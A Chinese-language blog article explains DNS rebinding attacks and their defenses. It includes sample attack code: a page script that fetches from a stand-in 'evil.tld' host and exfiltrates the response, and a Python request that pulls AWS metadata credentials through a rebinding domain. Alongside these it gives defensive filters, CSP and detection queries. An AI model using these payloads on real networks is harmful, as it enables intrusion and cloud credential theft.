DNS重绑定攻击:内网穿透的幽灵

DNS重绑定攻击:内网穿透的幽灵

1. 攻击技术演进史

DNS重绑定(DNS Rebinding)是一种利用DNS TTL过期机制绕过同源策略(SOP)的攻击技术,其发展历程呈现三个阶段:

  1. 传统重绑定(2007-2015)

    • 依赖短TTL(1秒)快速切换IP

    • 主要攻击内网Web界面(路由器/数据库)

  2. 云服务时代(2016-2020)

    • 针对云元数据服务(169.254.169.254)

    • 结合SSRF漏洞实现权限提升

  3. 现代变种(2021至今)

    • 利用DNS over HTTPS(DoH)隐蔽通信

    • 绕过传统DNS监控

2. 攻击链深度解析

(1) 经典内网渗透
// 恶意页面代码
let attackerDomain = "evil.tld"; // 初始解析到公网IP
fetch(`http://${attackerDomain}/api`)
  .then(res => res.text())
  .then(data => exfil(data));

// DNS记录变更过程:
// 首次解析 evil.tld → 1.2.3.4(通过SOP检查)
// TTL过期后 evil.tld → 192.168.1.1(攻击内网)
(2) 云元数据攻击
# 针对AWS IMDSv1的Payload
import requests
rebind_domain = "malicious.dnsrebind.tld"  # 配置1.2.3.4和169.254.169.254交替解析
response = requests.get(f"http://{rebind_domain}/latest/meta-data/iam/security-credentials/")
print(response.text)  # 输出临时凭证
(3) 硬件设备控制
GET /cgi-bin/luci/admin/network/wireless HTTP/1.1
Host: dnsrebind.tld  # 最终解析到192.168.0.1
Cookie: sysauth=admin;  # 利用持久化Cookie

3. 现代绕过技术

(1) DoH隐蔽通道
// 使用DNS-over-HTTPS隐藏通信
const dohResolver = "https://cloudflare-dns.com/dns-query";
fetch(`${dohResolver}?name=evil.tld&type=A`, {
  headers: { "Accept": "application/dns-json" }
})
(2) 子域名轮询
a.evil.tld → 1.2.3.4
b.evil.tld → 192.168.1.1
(3) IPv6滥用
evil.tld AAAA → ::ffff:c0a8:101(IPv4内网地址的IPv6映射)

4. 企业级防御矩阵

(1) 网络层防护
方案 实施要点
出口过滤 阻断内网设备向公共DNS查询(强制使用企业DNS)
DNS Sinkhole 拦截.dnsrebind.等恶意域名
VPC端点策略 限制元数据服务访问源IP
(2) 应用层加固
// Java防御示例 - 校验Host头
public void doFilter(ServletRequest req, ServletResponse res) {
    String host = ((HttpServletRequest) req).getHeader("Host");
    if (!Arrays.asList("trusted.com", "api.trusted.com").contains(host)) {
        throw new SecurityException("Invalid Host header");
    }
}
(3) 浏览器策略
  • 启用Private Network Access规范(Chrome 98+)

  • 部署Content Security Policy

Content-Security-Policy: connect-src 'self'

5. 攻击检测体系

(1) 流量监控指标
  • 同一域名短时间解析不同IP

  • DNS响应包含内网地址段(如192.168/16)

(2) 日志分析规则
-- Splunk查询示例
index=dns (response_ip=10.* OR response_ip=192.168.*) 
| stats count by query_name
| where count > 3
(3) 硬件级防护
  • 思科Umbrella:DNS流量实时分析

  • Palo Alto WildFire:沙箱检测恶意JS

6. 历史重大事件

年份 受影响系统 攻击方式
2018 某智能家居平台 通过重绑定控制10万台设备
2020 Kubernetes集群 攻击未授权API接口
2022 医疗IoT设备 窃取患者数据
© 版权声明
THE END
喜欢就支持一下吧
点赞5 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容